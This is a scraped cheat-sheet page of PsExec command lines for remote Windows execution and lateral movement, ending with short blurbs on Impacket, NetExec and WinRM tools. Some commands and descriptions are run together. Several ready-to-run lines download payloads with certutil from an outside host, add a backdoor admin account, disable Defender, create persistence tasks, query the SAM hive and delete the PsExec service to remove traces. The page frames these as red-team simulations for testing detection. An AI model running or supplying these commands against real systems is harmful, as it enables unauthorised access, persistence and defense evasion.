psexec \\192.168.1.10 cmdExecutes an interactive command prompt on the target system using current credentials.
Running commands on remote Windows hosts via the Service Control Manager — Sysinternals PsExec and Impacket’s psexec.py.
sudo apt install python3-impacketpsexec -accepteula \\192.168.1.10 cmdAutomatically accepts the Sysinternals EULA to prevent interactive pop-ups during automation.
psexec \\192.168.1.10 -s cmdRuns the remote command shell under the NT AUTHORITY\SYSTEM account.
psexec \\192.168.1.10 -i cmdRuns the program so that it interacts with the desktop of the specified session on the remote system.
psexec \\192.168.1.10 -i -s cmdLaunches an interactive command prompt as the SYSTEM account, visible on the remote desktop.
psexec \\192.168.1.10 -i 2 cmdExecutes the command specifically on session ID 2 on the remote machine.
psexec \\192.168.1.10 -c test.exeCopies the specified executable to the remote system and runs it.
Example
psexec \\192.168.1.10 -c C:\Tools\payload.exepsexec \\192.168.1.10 -c -f test.exeForces the copy of the executable to the remote system even if the file already exists.
Example
psexec \\192.168.1.10 -c -f C:\Tools\payload.exepsexec \\192.168.1.10 -c -v test.exeCopies the file only if the local version has a higher version number or is newer.
Example
psexec \\192.168.1.10 -c -v C:\Tools\payload.exepsexec \\192.168.1.10 -d cmdRuns the process non-interactively and does not wait for it to terminate.
Example
psexec \\192.168.1.10 -d C:\Windows\System32\calc.exepsexec \\192.168.1.10 -l cmdRuns the process with Limited User rights (strips administrators group token).
psexec \\192.168.1.10 -n 10 cmdSets a connection timeout of 10 seconds for connecting to the remote machine.
psexec \\192.168.1.10 -r MyService cmdSpecifies a custom name for the remote service created by PsExec (default is PSEXESVC).
Example
psexec \\192.168.1.10 -r LatMovSvc cmdpsexec \\192.168.1.10 -s net userEnumerates local users on the target as SYSTEM, simulating reconnaissance.
psexec \\192.168.1.10 -s reg query HKLM\SAMAttempts to query sensitive registry hives remotely as SYSTEM.
psexec \\192.168.1.10 -s powershell -NoP -Command "whoami"Executes PowerShell commands remotely as SYSTEM without loading a profile.
psexec \\192.168.1.10 cmd > output.txtRedirects the standard output of the remote command to a local file.
Example
psexec \\192.168.1.10 ipconfig > C:\Logs\remote_ip.txtpsexec \\192.168.1.10 cmd 2> error.txtRedirects the standard error of the remote command to a local file.
Example
psexec \\192.168.1.10 script.bat 2> C:\Logs\errors.logpsexec -s \\192.168.1.10 certutil -urlcache -split -f http://example.com/fileSimulates ingress tool transfer behavior using certutil via PsExec.
Example
psexec -s \\192.168.1.10 certutil -urlcache -split -f http://192.168.1.5/payloadpsexec \\192.168.1.10 -h cmdRuns the process with the account's elevated token (if available).
psexec \\192.168.1.10 -x cmdDisplays the UI on the Winlogon secure desktop (system only).
psexec \\192.168.1.10 -a 1 cmdForces the process to run on specific processors (CPU affinity).
Example
psexec \\192.168.1.10 -a 1 stress_test.exepsexec \\192.168.1.10 -u Admin -p Pass -h -d -c payload.batCopies a script, executes it elevated, detached, using explicit credentials.
Example
psexec \\192.168.1.10 -u Admin -p Pass -h -d -c setup.batpsexec \\192.168.1.10 -s -i -d cmd /c "echo owned > C:\flag.txt"Non-blocking execution of a one-liner as SYSTEM to create a file artifact.
Example
psexec \\192.168.1.10 -s -i -d cmd /c "echo test > C:\Windows\Temp\check.txt"psexec -r CustomSvcName \\192.168.1.10 cmdChanges the service name to test if detection rules alert on non-standard PSEXESVC names.
Example
psexec -r EvilService \\192.168.1.10 cmdpsexec -s -i 1 \\192.168.1.10 notepad.exeLaunches a GUI application (Notepad) on the user's desktop session as SYSTEM.
psexec @servers.txt -u Domain\Admin -p Pass -d -n 5 cmd /c hostnameRapidly fires a hostname check across a list of servers with a short timeout and detach mode.
Example
psexec @list.txt -u Corp\Admin -p Pass -d -n 5 cmd /c hostnamepsexec \\192.168.1.10 ipconfig /flushdnsRemotely flushes the DNS cache on the target system.
psexec \\192.168.1.10 tasklistRetrieves the list of running processes from the remote host for analysis.
psexec \\192.168.1.10 netstat -anobRetrieves active network connections and associated binaries from the remote host.
psexec -s \\192.168.1.10 wmic qfe listLists installed patches and hotfixes on the remote host as SYSTEM.
psexec -s \\192.168.1.10 cmd /c "net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add"Simulates persistence creation by adding a backdoor user via a single command line.
Example
psexec -s \\192.168.1.10 cmd /c "net user backdoor P@ssw0rd123 /add"psexec -s \\192.168.1.10 powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"Simulates disabling Windows Defender real-time monitoring remotely.
psexec \\192.168.1.10 -f cmdUses the force flag if the program is already running (rarely used for cmd, useful for services).
psexec \\192.168.1.10 -u User -p Pass cmd /c "ping 127.0.0.1 -n 5 > nul && whoami"executes a delayed command sequence to test timeout handling and output buffering.
psexec \\192.168.1.10 -c -f -s PsExec.exeCopies PsExec itself to the target to simulate nested lateral movement (PsExec via PsExec).
psexec \\192.168.1.10 -u "" -p "" cmdAttempts to connect using a null session or existing implicit token.
psexec \\192.168.1.10 cmd /c "sc delete PSEXESVC"Manually attempts to delete the PsExec service to simulate trace removal.
psexec \\192.168.1.10 -u TARGETDOMAIN\Administrator -p Password cmdExecutes commands using credentials from a different trust domain.
Example
psexec \\192.168.1.10 -u OTHER\Admin -p Pass cmdpsexec \\192.168.1.10 -i -u User -p Pass -e cmdExplicitly avoids loading the user profile while running interactively.
psexec \\192.168.1.10 powershell -enc JABiACAAPQAgADEAMgAzAA==Runs encoded PowerShell commands remotely to trigger obfuscation detection rules.
psexec \\192.168.1.10 cmd /c "set"Dumps remote environment variables to verify the execution context.
psexec -s \\192.168.1.10 reg add HKLM\Software\Test /v Data /t REG_SZ /d "Lateral" /fAdds a registry key remotely as SYSTEM to test EDR registry monitoring.
psexec \\192.168.1.10 schtasks /create /tn "EvilTask" /tr calc.exe /sc once /st 00:00Uses PsExec to remotely create a scheduled task, a common persistence technique.
psexec \\192.168.1.10 net localgroup administratorsQueries the local administrators group on the remote host.
Impacket’s smbexec.py: a semi-interactive shell over SMB that creates a service per command instead of uploading a binary.
Impacket’s wmiexec.py: a semi-interactive shell over DCOM/WMI that leaves fewer artefacts than service-based execution.
The Swiss-army knife for Windows networks: spray credentials, execute commands and dump secrets across SMB, WinRM, LDAP and MSSQL. NetExec (nxc) is the maintained fork.
The go-to WinRM shell for penetration testers: upload and download files, load PowerShell scripts and pass the hash.
Windows Remote Management from Linux and PowerShell: Enter-PSSession, Invoke-Command and service configuration.